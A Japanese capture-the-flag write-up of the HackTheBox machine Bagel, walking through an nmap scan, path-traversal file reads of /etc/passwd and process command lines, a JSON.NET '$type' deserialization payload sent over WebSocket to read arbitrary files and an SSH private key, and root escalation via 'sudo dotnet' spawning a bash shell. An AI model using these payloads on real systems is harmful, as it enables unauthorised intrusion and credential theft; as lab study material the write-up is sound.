【HackTheBox Writeup】Bagel

# 始めに
HackTheBox の Bagel の Write up です．
一か月ぐらい前に攻略したのを思い出しながら書きます．
道のりは一か所高い崖があり残りは平坦という感じ．

### マシンの情報
- マシン名: Bagel
- OS: Linux
- 難易度: Medium



# 攻略

## User 
### nmap
```
Nmap scan report for bagel.htb (10.10.11.201)
Host is up (0.091s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:09 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:25 GMT
|     Connection: close
|   Help, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:36 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:09 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (version).)</h1>
|   TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:37 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 28 Apr 2023 12:32:10 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 28 Apr 2023 12:32:05 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
| http-title: Bagel &mdash; Free Website Template, Free HTML5 Template by fr...
|_Requested resource was http://bagel.htb:8000/?page=index.html
```
8000番から見る．

### Web(port 8000)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/368c846d-485f-bb88-00f0-453082a0c211.png)
Top ページ．URL が怪しい．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/0b5f2bad-54fd-c823-dc15-d714e38accec.png)
Orders というページでは注文情報？のテキストファイルが見れる．

Top ページの URL をいじってみる．`page=../../../../../../etc/passwd` としてみると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/4d663b08-63a7-8696-28e0-db90ab1c9b21.png)
普通に LFI ができる．

web root を探す． 8000 番で apache や nginx 越しではないのでその辺の config は意味なし．
Python web app っぽいから `/var/www/html/app.py` とか `/var/www/app/app.py` をやってみるが File not found.
ホームディレクトリを見てみると `/home/developer/` は読めそう．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/98a99391-80f9-ff1c-bf1d-b298b6fff4b7.png)
同様に探すと `/home/developer/app/app.py` が見つかる．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/46064ef9-7946-d524-4ccc-dd5c09d07f09.png)

```app.py
### ~~~ 中略 ~~~
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")
### ~~~ 中略 ~~~
```
5000 番ポートに Web Socket で接続している．このポートには nmap で見たように外部からも接続できそうだ．
試しに "orders.txt" の所で LFI が出来ないか投げてみたが，失敗．流石にこちらは対策されている．
出来れば Web Socket 側のソースコードも読みたいところ．
`app.py` 中のコメントによれば先に order app を起動しているっぽい．
Web app の何個か前のプロセスを enum してみる．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/a82d2d8c-0bf0-2f50-dffc-d4819d9b7680.png)
Web app の PID は 893.
PID 892 は File not found だが 891 がビンゴ．
![Inked68747470733a2f2f71696974612d696d6167652d73746f72652e73332e61702d6e6f727468656173742d312e616d617a6f6e6177732e636f6d2f302f3638343932382f35396137633532362d343038312d373931332d303662312d3735303062333763346139622e706e67.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/b1381c4d-8b45-44bf-0a45-0bd2ef2a0116.jpeg)
`/proc/891/cmdline` から起動コマンドを参照すると dll ファイルのパスが分かる．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/a014f689-6c0b-954d-e4ed-725f39f3d0b2.png)
幸いなことに LFI で読めるので wget する．

<details>
<summary>徒労 (読まなくてもいいもの)</summary>

dll はバイナリなので，元のソースコードが読めるならそれに越したことはない．
dotnet という事は C# かなとは思ったが，C# なんも知らんなので手元で一回ソースからコンパイルしてみてディレクトリ構成等を確認してみる．
[こちらの記事](https://qiita.com/LemonLeaf/items/0531f5479315ee858eb9)を参考に myApp というプロジェクトを作ってみた．するとディレクトリ構成は以下の様になった．
```
$ tree myApp              
myApp
├── bin
│   └── Debug
│       └── net6.0
│           ├── myApp
│           ├── myApp.deps.json
│           ├── myApp.dll
│           ├── myApp.pdb
│           ├── myApp.runtimeconfig.json
│           └── Newtonsoft.Json.dll
├── myApp.csproj
├── obj
│   ├── Debug
│   │   └── net6.0
│   │       ├── apphost
│   │       ├── myApp.AssemblyInfo.cs
│   │       ├── myApp.AssemblyInfoInputs.cache
│   │       ├── myApp.assets.cache
│   │       ├── myApp.csproj.AssemblyReference.cache
│   │       ├── myApp.csproj.CopyComplete
│   │       ├── myApp.csproj.CoreCompileInputs.cache
│   │       ├── myApp.csproj.FileListAbsolute.txt
│   │       ├── myApp.dll
│   │       ├── myApp.GeneratedMSBuildEditorConfig.editorconfig
│   │       ├── myApp.genruntimeconfig.cache
│   │       ├── myApp.GlobalUsings.g.cs
│   │       ├── myApp.pdb
│   │       ├── ref
│   │       │   └── myApp.dll
│   │       └── refint
│   │           └── myApp.dll
│   ├── myApp.csproj.nuget.dgspec.json
│   ├── myApp.csproj.nuget.g.props
│   ├── myApp.csproj.nuget.g.targets
│   ├── project.assets.json
│   └── project.nuget.cache
└── Program.cs
```
注目して欲しいのは `myApp.dll` のパス(`myApp/bin/Debug/net6.0/myApp.dll`)がちゃんと `bagel.dll` のパス(`/opt/bagel/bin/Debug/net6.0/bagel.dll`)と対応しているという事とソースコードファイルが `myApp/Program.cs` 存在している点である．
従って **`/opt/bagel/Program.cs` にソースコードがある事が期待できる** と思ったのだが...
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/684928/b26ce942-aeb0-3683-9f2d-927f47547641.png)
Hello, World かい.
bagel.cs とか色々試してみたが無駄．仕方ないので逆コンパイルする事にした．
後で驚くのだが，dll の逆コンパイルがあんなに綺麗に出来るとは露知らなかったので，結構必死にソースコードを探してしまった．
以上，徒労終わり．
</details> 

dll なんも知らんだったのでググって出てきた [ILSpy](https://github.com/icsharpcode/ILSpy) でデコンパイルをやってみる(Kali 上ではなくホストの Windows 上でやります)．

### Insecure deserialization
ここからがこのボックスで最も難しく，そして最も面白いパートである．
ILSpy で件の dll ファイルを開くと綺麗にデコンパイルされる．

まず `DB Class` の中に database 接続のための cred が書いてある．しかし ssh はできない（パスワードログイン不可）．

本体の方を見ていく．Web Scoket を通して投げられた json は次のように処理される．
1. `JsonConvert.DeserializeObject<Base>` によって `Base` クラスのインスタンスオブジェクト `request` にデシリアライズされる．`Base` クラスは `Orders` クラスを継承している．
1. デシリアライズされる際に json の値によって全ての（パブリック）プロパティが初期化される．
1. `request` を今度はシリアライズする．すなわち全てのプロパティの値が取得され json 化される．
1. json を Web Socket で返す．

デシリアライズと言えば安全でないデシリアライゼーションがある．`JsonConvert.DeserializeObject` についても調べると色々出てくるが，
- https://www.abatchy.com/2017/10/defcamp-dotnot
- https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15

が参考になった．ポイントは
1. `JsonSerializerSettings` の `TypeNameHandling` が 4 (auto) に設定されているとき，
1. `object` のような抽象的な型のプロパティは json の `$type` フィールドに具体的な型を設定してデシリアライズ可能

という事である．今の場合 1. は満たされている．2. も都合よく `Orders` クラスの `RemoveOrder` プロパティの型が `object` なので恐らくこの方向で正しそう．
次の問題は `RemoveOrder` をどの型のオブジェクトにデシリアライズするか，である．
最初，上に挙げた２番目の記事に引っ張られて元からあるシステムの型で何か出来ないか，かなりの時間試行錯誤した．
Windows 上であれば任意コード実行できるようなのだが，このボックスは Linux なので必要なライブラリが入ってない？ようである．
他にも `FileSystemInfo` オブジェクトの `UnixFileMode` プロパティを変更することでファイルパーミッションを変えられるというのを見つけたのだが([こちら参照](https://learn.microsoft.com/ja-jp/dotnet/api/system.io.filesysteminfo.unixfilemode?view=net-7.0#system-io-filesysteminfo-unixfilemode))残念ながら .NET 7 以降のみで使えるようで今回は無理だった（もし使えていたらこちらからも攻略できたはず）．
少し詰まったが改めてコードを見直している時にようやくひらめいた．`Orders` クラスの中で使われている `File` クラスを使えばいいのだ．**LFI 対策は `Orders` クラスで行われていて `File` クラスは無防備な事が鍵である．** 加えて `File` クラスのインターフェースが `ReadFile` という **プロパティ** で提供されている事も大事．メソッドだとデシリアライズの際に呼び出す事は出来ないから．（自分の感覚だとこういうのはメソッドで実装するのが自然なのではと思うのだが，C# ではこれが普通の書き方なのだろうか？）
やりたい事をまとめると，**json から `Base` クラス（実質`Orders` クラス）がデシリアライズされる際に， `RemoveOrder` プロパティを `File` クラスとしてデシリアライズし，さらにその際に `ReadFile` プロパティを `../` もりもりで set する**という事である．ややこしい．
本当にいけるかやってみる．
```
$ python3 -m websockets ws://bagel.htb:5000  
Connected to ws://bagel.htb:5000.
> {"RemoveOrder": {"$type": "bagel_server.File, bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "ReadFile": "../../../../../../etc/passwd"}}
< {
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "10:40:54",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\ndeveloper:x:1000:1000::/home/developer:/bin/bash\nphil:x:1001:1001::/home/phil:/bin/bash\n_laurel:x:987:987::/var/log/laurel:/bin/false",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}
```
いけた！
（ちなみに `$type` フィールドの　`bagel_server.File, bagel` の部分はソースコードの一番上のコメントに書いてあるのを使う．ここも地味に詰まった．）
こっちのプロセスはユーザー `phil` の権限で動いているので，`phil` のホームディレクトリが覗ける．
そして `/home/phil/.ssh/id_rsa` から秘密鍵が得られる（あって良かった）．

## Root
Root は簡単なのでサラッと．
まずさっき使えなかったパスワードで `developer` にログインできる（`su` を使う）．
`sudo -l` を見ると
```
[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet
```
`dotnet` コマンドを root 権限で使える．
後は C# でシステムコマンドを実行するコードをググって書いて `sudo dotnet` で実行するだけ．
```
[developer@bagel phil]$ cd /tmp
[developer@bagel tmp]$ mkdir myApp
[developer@bagel tmp]$ cd myApp/
[developer@bagel myApp]$ dotnet new console
The template "Console App" was created successfully.

Processing post-creation actions...
Running 'dotnet restore' on /tmp/myApp/myApp.csproj...
  Determining projects to restore...
  Restored /tmp/myApp/myApp.csproj (in 177 ms).
Restore succeeded.

[developer@bagel myApp]$ vim Program.cs 
[developer@bagel myApp]$ cat Program.cs 
using System.Diagnostics;
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName="/bin/bash";
startInfo.ArgumentList.Add("-c");
startInfo.ArgumentList.Add("bash -i");
Process.Start(startInfo).WaitForExit();
[developer@bagel myApp]$ sudo dotnet run

Welcome to .NET 6.0!
---------------------
SDK Version: 6.0.113

----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate run 'dotnet dev-certs https --trust' (Windows and macOS only).
Learn about HTTPS: https://aka.ms/dotnet-https
----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out what's new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
/tmp/myApp/Program.cs(6,1): warning CS8602: Dereference of a possibly null reference. [/tmp/myApp/myApp.csproj]
[root@bagel myApp]# id                                                                                                                                                                                                                     
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```
マシンは出来るだけ汚さず立ち去りましょう！！！
```
[root@bagel myApp]# cd ..
[root@bagel tmp]# rm -rf myApp/
```

# 感想
夢中になって一気に攻略したボックスだった．
こういう straightforward に高い壁を越えていくボックスは結構好み．
今までで一番楽しかったかもしれない．